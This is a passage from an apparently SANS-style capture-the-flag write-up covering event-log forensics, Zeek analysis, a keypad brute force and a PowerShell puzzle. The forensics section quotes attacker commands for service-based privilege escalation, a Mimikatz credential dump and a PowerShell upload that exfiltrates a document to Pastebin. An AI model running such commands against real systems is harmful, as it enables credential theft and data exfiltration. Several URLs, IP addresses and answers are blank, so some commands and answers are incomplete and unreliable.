C:\Windows\system32\cmd.exe /c "whoami "

The answer to the question was “whoami”.

Question 4: What is the one-word service name the attacker used to escalate privileges?

Looking through the results of the previous query revealed the use of this command which started a suspicious service:

C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe" "

The answer to the question was “webexservice”.

Question 5: What is the file-path + filename of the binary ran by the attacker to dump credentials?

Seeing that cookie_recipe2.exe was executed, we searched for “ParentProcessImage:C:\Users\minty\Downloads\cookie_recipe2.exe” and found numerous attempts to download Mimikatz, eventually followed by the command:

C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit "

The answer to the question was “C:\cookie.exe”.

Question 6: The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Filtering for events that occurred 5 minutes around the infection with EventID 4624 (which indicates that an account was successfully logged in) found a connection was made from the attacker’s machine ( with username alabaster.

The answer to the question was “alabaster”.

Question 7: What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

To find successful logins via Remote Desktop, we used the query “EventID:4624 AND LogonType:10” , since the LogonType value of 10 is for terminal services connections. This returned one record with the following datetime: 2019-11-19 06:04:28.000 +00:00

The answer to the question was “06:04:28”.

Question 8: The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

The host that the attacker logged into via RDP from earlier was ELFU-RES-WKS2. We filtered for successful logins initiated from that host using the query: “EventID:4624 AND SourceHostName:ELFU-RES-WKS2”

This returned a few records, one of which indicated a successful login to the host at ELFU-RES-WKS3 using the LogonType 3.

The answer to the question was “ELFU-RES-WKS2,ELFU-RES-WKS3,3”

Question 9: What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

To find files that were created on the second host, we first filtered records for timestamps after the initial RDP connection was established. Then, we used the following query to find files created on the second host: “source:elfu-res-wks2 AND EventID:2”. This returned multiple records for temporary files being created, with one record that stood out which created a PDF file.

The answer to the question was “C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf”

Question 10: What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

Searching for the filename “super_secret_elfu_research.pdf” returned a record in which the following command was executed, uploading the document to Pastebin via Powershell:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri -Method POST -Body @{ "submit_hidden" = "submit_hidden"; "paste_code" = $([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf"))); "paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0"; "paste_name"="cookie recipe" }

To find the IP address of the host, we filtered on the process ID of this upload with the event ID 3, indicating a network connection was established using the following query: “ProcessId:1232 AND EventID:3”

The answer to the challenge was “”.

019. Terminal: Zeek JSON Analysis

To solve this challenge, we used jq to sort by the duration field. We then examined the last record, which should have the longest duration:

elf@55abb6e514f8:~$ cat conn.log | jq -s '. | sort_by(.duration)[-1]'
"ts": "2019-04-18T21:27:45.402479Z",
"uid": "CmYAZn10sInxVD5WWd",
"id.orig_h": "",
"id.orig_p": 8,
"id.resp_h": "",
"id.resp_p": 0,
"proto": "icmp",
"duration": 1019365.337758,
"orig_bytes": 30781920,
"resp_bytes": 30382240,
"conn_state": "OTH",
"missed_bytes": 0,
"orig_pkts": 961935,
"orig_ip_bytes": 57716100,
"resp_pkts": 949445,
"resp_ip_bytes": 56966700

The answer to the challenge was

020. Misc: Frosty Keypad

To gain access to part of the map, we're tasked with breaking the code to a keypad. Looking at the keypad, we see the likely numbers in the code to be “1”, “3”, and “7”.

We told that the code is a prime number where one of the digits is repeated. This is a suggestion that the code is likely 4 digits.

To create the exploit, we used a low digit prime generation scheme called a “Google sieve”, where we just Googled for primes under 10000.

We then checked each code against the lock submission URL found by watching network requests being sent when we submitted a code through the keypad.

Checking each candidate eventually revealed the answer was 7331.

021. Misc: Laser

In the research lab, we find a laser that has had its settings meticulously tuned in order to get the most output possible. Unfortunately, the laser was compromised and has had its settings changed by an attacker, who left clues on how to fix it.

The first hint we’re given is in /home/callingcard.txt:

PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la

This document suggests that our next hint is hidden in the command history, which can be fetched with Get-History:

PS /home/elf> Get-History | Format-List


Id : 7 CommandLine : (Invoke-WebRequest ExecutionStatus : Completed StartExecutionTime : 11/29/19 4:56:44 PM EndExecutionTime : 11/29/19 4:56:44 PM Duration : 00:00:00.0310799 <snip> Id : 9 CommandLine : I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items. ExecutionStatus : Completed StartExecutionTime : 11/29/19 4:57:16 PM EndExecutionTime : 11/29/19 4:57:16 PM

This output gives us the correct angle of the laser, and tells us that the next hint is found in the current environment variables.

PS /home/elf/depths> Set-Location Env:
PS Env:/> Get-ChildItem | Format-List

<snip> Name : riddle Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all. <snip>

Following the hint, we find a compressed archive hidden under the /etc directory:

PS /etc> Get-ChildItem -Path /etc -Recurse | Sort-Object LastWriteTime
Directory: /etc/apt
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---            1/2/20  2:18 AM        5662902 archive

PS /etc/apt> Expand-Archive archive -DestinationPath /home/elf/archive

Expanding this archive, we’re given two files: riddle which contains the next hint, and an executable named runme.elf. Unfortunately, we can't execute runme.elf due to the file permissions set:

PS /home/elf/archive/refraction> ./runme.elf
Program 'runme.elf' failed to run: No such file or directoryAt line:1 char:1
+ ./runme.elf
+ ~~~~~~~~~~~.
At line:1 char:1
+ ./runme.elf
+ ~~~~~~~~~~~
+ CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed

Adding the execute bit with chmod let's us run the file, giving us the refraction value for the laser:

PS /home/elf/archive/refraction> chmod +x ./runme.elf
PS /home/elf/archive/refraction> ./runme.elf

Next, we turned our attention to the riddle file containing our next hint:

PS /home/elf/archive/refraction> type ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 ide

To solve the hint, we first exported a CSV of file hashes in /home/elf/depths using:

PS /home/elf/archive/refraction> Get-ChildItem -Path /home/elf/depths/ -Recurse -ErrorAction SilentlyContinue -File | Get-FileHash -Algorithm MD5 | Export-Csv -Path /home/elf/depth_hashes.csv

Then we found the file with the given hash using Select-String:

PS /home/elf> Select-String -Pattern 25520151A320B5B0D21561F92C8F6224 ./depth_hashes.csv


This file gives us the temperature value of the laser, as well as our next hint:

PS /home/elf/archive/refraction> type /home/elf/depths/produce/thhy5hll.txt

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

To solve this riddle, I adapted this snippet from the SuperUser Stack Exchange community:

PS /home/elf/depths> Get-ChildItem -Path /home/elf/depths/ -Recurse -ErrorAction SilentlyContinue -File | select-object FullName, @{Name="Nlength";Expression={$_.FullName.Length}} | sort-object Nlength | Format-List

FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt Nlength : 388

This file contains the next riddle:

Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

bushy alabaster minty holly

Do this for me and then you /shall/see .

As requested, we terminated the processes in the correct order, revealing the file at /shall/see:

PS /home/elf> Get-Process -IncludeUserName

WS(M) CPU(s) Id UserName ProcessName 28.71 0.85 6 root CheerLaserServi 117.21 2.52 31 elf elf 3.43 0.03 1 root init 0.75 0.00 24 bushy sleep 0.72 0.00 26 alabaster sleep 0.80 0.00 28 minty sleep 0.80 0.00 29 holly sleep 3.27 0.00 30 root su

PS /home/elf> Stop-Process -Id 24; Stop-Process -Id 26; Stop-Process -Id 28; Stop-Process -Id 29

PS /shall> type /shall/see Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.

As expected, we find an EventLog.xml file in the /etc folder:

PS /shall> Get-ChildItem -Recurse -ErrorAction SilentlyContinue -File -Filter *.xml /etc/

Directory: /etc/systemd/system/

Mode LastWriteTime Length Name

--r--- 11/18/19 7:53 PM 10006962 EventLog.xml

To extract and aggregate the logs, we adapted snippets from this SANS forum post.

PS /home/elf> $events = Import-Clixml  /etc/systemd/system/

PS /home/elf> $events | group Id | sort count

Count Name Group

1 1 {System.Diagnostics.Eventing.Reader.EventLogRecord} 2 4 {System.Diagnostics.Eventing.Reader.EventLogRecord, System… <snip>

This tells us that there is one event with the EventID of “1”. We can extract this event to get our final setting for the gases used in the laser:

PS /home/elf> $events | ? { $_.Id -match 1 }

<snip> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "$correct_gases_postbody = @{n O=6n H=7n He=3n N=4n Ne=22n Ar=11n Xe=10n F=20n Kr=8n Rn=9n}`n" CurrentDirectory: C:
User: ELFURESEARCH\allservices LogonGuid: <snip>

With all the settings retrieved, we used the API to set the correct values, turn on the laser, and complete the challenge:

# Set the correct parameters
(Invoke-WebRequest -Uri
(Invoke-WebRequest -Uri
(Invoke-WebRequest -Uri
(Invoke-WebRequest -Uri -Method POST -Body @{O=6;H=7;He=3;N=4;Ne=22;Ar=11;Xe=10;F=20;Kr=8;Rn=9}).RawContent

Turn on the Laser

(Invoke-WebRequest -Uri

View the successful output

(Invoke-WebRequest -Uri HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Fri, 03 Jan 2020 23:15:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 200

Success! - 6.31 Mega-Jollies of Laser Output Reached!